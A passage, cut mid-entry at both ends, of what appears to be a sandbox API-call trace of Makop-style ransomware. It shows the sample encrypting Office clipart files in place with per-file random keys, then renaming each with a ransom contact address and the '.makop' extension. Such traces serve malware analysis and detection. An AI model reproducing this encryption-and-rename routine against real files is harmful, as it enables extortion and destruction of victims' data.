nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0108.061] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.061] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.062] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.062] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x32b6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x32b6, lpOverlapped=0x0) returned 1 [0108.063] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x32c0, dwBufLen=0x32c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x32c0) returned 1 [0108.064] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.064] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x32c0, lpOverlapped=0x0) returned 1 [0108.064] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.064] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.064] SetEndOfFile (hFile=0xf0) returned 1 [0108.071] GetProcessHeap () returned 0x48a0000 [0108.071] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0108.071] GetProcessHeap () returned 0x48a0000 [0108.071] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0108.071] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0108.071] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0108.086] CloseHandle (hObject=0xf0) returned 1 [0108.086] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee332800, ftCreationTime.dwHighDateTime=0x1bd4d59, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee332800, ftLastWriteTime.dwHighDateTime=0x1bd4d59, nFileSizeHigh=0x0, nFileSizeLow=0x25ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19827_.WMF", cAlternateFileName="")) returned 1 [0108.088] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0108.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0108.089] GetProcessHeap () returned 0x48a0000 [0108.089] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0108.089] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0108.089] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0108.090] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0108.095] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.095] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.095] GetProcessHeap () returned 0x48a0000 [0108.095] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0108.095] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0108.095] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.095] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0108.096] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0108.096] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0108.096] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0108.096] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0108.096] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0108.096] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.097] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.097] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.097] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x25ee, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x25ee, lpOverlapped=0x0) returned 1 [0108.098] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x25f0, dwBufLen=0x25f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x25f0) returned 1 [0108.098] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.099] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x25f0, lpOverlapped=0x0) returned 1 [0108.099] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.099] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x26c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.099] SetEndOfFile (hFile=0xf0) returned 1 [0108.106] GetProcessHeap () returned 0x48a0000 [0108.107] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0108.107] GetProcessHeap () returned 0x48a0000 [0108.107] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0108.107] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0108.107] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0108.108] CloseHandle (hObject=0xf0) returned 1 [0108.108] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed01fb00, ftCreationTime.dwHighDateTime=0x1bd4d59, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed01fb00, ftLastWriteTime.dwHighDateTime=0x1bd4d59, nFileSizeHigh=0x0, nFileSizeLow=0x2244, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19828_.WMF", cAlternateFileName="")) returned 1 [0108.108] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0108.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0108.109] GetProcessHeap () returned 0x48a0000 [0108.109] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0108.109] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0108.109] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0108.109] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0108.113] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.113] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.114] GetProcessHeap () returned 0x48a0000 [0108.114] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0108.114] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0108.114] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.114] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0108.114] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0108.114] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0108.114] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0108.115] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0108.115] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0108.115] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.115] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.115] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.115] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2244, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2244, lpOverlapped=0x0) returned 1 [0108.117] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2250, dwBufLen=0x2250 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2250) returned 1 [0108.117] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.117] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2250, lpOverlapped=0x0) returned 1 [0108.117] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.117] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.117] SetEndOfFile (hFile=0xf0) returned 1 [0108.125] GetProcessHeap () returned 0x48a0000 [0108.125] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0108.125] GetProcessHeap () returned 0x48a0000 [0108.125] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0108.125] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0108.125] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0108.127] CloseHandle (hObject=0xf0) returned 1 [0108.127] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe58e2200, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe58e2200, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x3896, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19986_.WMF", cAlternateFileName="")) returned 1 [0108.127] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0108.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0108.128] GetProcessHeap () returned 0x48a0000 [0108.128] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0108.128] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0108.128] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0108.128] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0108.133] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.133] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.133] GetProcessHeap () returned 0x48a0000 [0108.133] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0108.133] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0108.133] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.133] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0108.133] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0108.134] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0108.134] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0108.134] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0108.134] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0108.134] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.134] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.134] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.135] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3896, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3896, lpOverlapped=0x0) returned 1 [0108.137] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x38a0, dwBufLen=0x38a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x38a0) returned 1 [0108.137] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.137] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x38a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x38a0, lpOverlapped=0x0) returned 1 [0108.137] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.137] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3974, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.137] SetEndOfFile (hFile=0xf0) returned 1 [0108.144] GetProcessHeap () returned 0x48a0000 [0108.144] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0108.144] GetProcessHeap () returned 0x48a0000 [0108.144] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0108.145] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0108.145] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0108.146] CloseHandle (hObject=0xf0) returned 1 [0108.147] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1fa9b00, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1fa9b00, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x4780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19988_.WMF", cAlternateFileName="")) returned 1 [0108.147] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0108.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0108.147] GetProcessHeap () returned 0x48a0000 [0108.147] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0108.148] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0108.148] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0108.148] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.148] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.148] GetProcessHeap () returned 0x48a0000 [0108.148] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0108.148] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0108.148] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.148] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0108.154] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0108.154] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, 